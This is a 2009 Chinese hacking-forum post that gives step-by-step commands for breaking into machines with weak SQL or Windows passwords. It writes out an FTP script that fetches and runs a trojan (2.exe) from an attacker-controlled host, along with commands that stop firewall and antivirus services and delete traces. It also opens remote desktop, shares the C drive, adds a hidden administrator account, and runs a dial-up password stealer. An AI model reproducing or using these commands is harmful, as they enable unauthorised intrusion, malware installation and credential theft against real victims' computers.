sql的的若口令连接传马命令
本帖最后由 世纪小强 于 2009-6-13 22:42 编辑方法1：WINNT自动攻击探测器
---------------------------
1：先用WINNT和扫到的弱口令IP连接。
2：在自己电脑上架设好FTP 然后给对方在cmd下发送命令：
1： echo open 189600.3322.org/>ftp.txt
2： echo 1314>>ftp.txt
3： echo 1314>>ftp.txt
4： echo get 2.exe>>ftp.txt
5： echo bye>>ftp.txt--------离开
6：ftp -s:ftp.txt (回车以后要是显示不成功 那就必须要做下面的关闭他的防火墙和杀毒软件）
（net start----查看开了什么防火墙和杀毒软件)
（查到以后用net stop "防火墙和杀毒软件" 查到的全部关掉）
7：del ftp.txt--------删除不留下痕迹
8：执行上传的文件 （如果还没有上线就再次执行 net start r_server）
===========================================================================================
方法2：SQLTools综合利用工具
1：先连接成功 2：直接执行DOS命令 看看对方是什么系统。3：net stop sharedaccess关闭对方防火墙
4：上传木马 。5：执行 dir/s 上传的木马路径-------看看木马在不在否则就已被杀。
6：如果在就执行命令运行木马--start 上传的木马路径。7：显示成功后就等着对方上线.
===========================================================================================
双开3389命令：
查看肉鸡开了3389端口没有 ---------netstat -an
这是关对方防火墙的命令------------net stop sharedaccess
找肉鸡C盘3389.txt-----------------Tasklist/SVC >>c:\3389.txt
这是共享C盘命令-------------------net share c$=c:\
在肉鸡上建立自己的用户名和密码----net user vip$ 123 /add
把用户名提升为管理员权限----------net localgroup administrators vip$ /add
-----------------------------------------------------------------------------------------
肉鸡AD密码查看--------------------dialupass.exe
页:
[1]